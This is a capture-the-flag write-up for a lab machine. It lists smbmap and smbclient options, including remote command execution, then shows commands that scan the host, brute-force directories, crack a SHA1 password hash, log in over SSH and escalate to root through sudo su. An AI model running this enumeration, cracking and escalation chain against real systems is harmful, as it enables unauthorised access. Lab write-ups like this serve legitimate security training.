smbmap
-h - IP address or host to enumerate
-u - username to use during enumeration (attempts to use the NULL session if not supplied)
-p - password or NTLM hash to use during enumeration
-d - domain (or workgroup) to use during enumeration
-s - share to enumerate (defaults to C$ if not supplied)
-x - attempt to execute the supplied command (!!!) on the server (if the user you’re connecting as has permission to do so)
--download/--upload - download or upload a file to specified share
smbclient
-I - IP address to connect to
-U - username to use for the connection
-P - password to use for the connection
-N - attempt to connect without a password
-W - domain (or workgroup) to use for the connection
-c - attempt to execute the supplied command (!!!) on the server (if the user you’re connecting as has permission to do so)
Once connected, smbclient provides an ftp-like interface.
Final Exam
Not much context. The machine for this test is at 10.10.87.144 and we know that there are two flags in the files user.txt and root.txt.
We begin by running a full nmap scan:
sudo nmap -vv -oA cc-pentesting -A -sS --script vuln \
-p- 10.10.87.144
Output:
# Nmap 7.92 scan initiated Thu Dec 2 20:11:50 2021 as: nmap -vv -oA cc-pentesting -A -sS -script vuln -p- 10.10.87.144
Pre-scan script results:
| broadcast-avahi-dos:

# Nmap done at Thu Dec 2 20:33:13 2021 -- 1 IP address (1 host up) scanned in 1283.72 seconds
So, only two services available: HTTP (port 80) and SSH (port 22).
The web server is just running the Ubuntu Apache2 default page, but nmap has already identified the potentially interesting directory /secret/. Navigating to that directory reveals that it contains an empty index.html file, however.
Let’s see what gobuster can find.
gobuster -t 50 dir \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-u http://10.10.87.144/secret/ \
-x bak,htm,html,php,phtml,ppk,txt
So, we’ve got the file http://10.10.87.144/secret/secret.txt containing nyan:046385855FC9580393853D8E81F240B66FE9A7B8. That could be a password, but it also looks like a hash of some kind (and who outside of me uses passwords that look like that?). It’s the right length for a SHA1 hash, so let’s see what hashcat can make of it.
hashcat -m 100 \
-O 046385855FC9580393853D8E81F240B66FE9A7B8 \
~/.local/share/red-team/wordlists/rockyou.txt
And the hash is… nyan?
Let’s see if we can log in via SSH to nyan@10.10.87.144 using the password “nyan”.
We can! And there in the user directory is the magical user.txt containing our first flag.
cat ~/user.txt
Okay, we’re in and we have the first flag. Now to elevate privileges.
Can nyan do anything interesting?
grep nyan /etc/group
Oooh… We have some level of sudo access. Let’s see how much
sudo -l
NOPASSWD on /bin/su, so that’s our ticket.
sudo su
ls /root
cat /root/root.txt
And that’s flag 2.
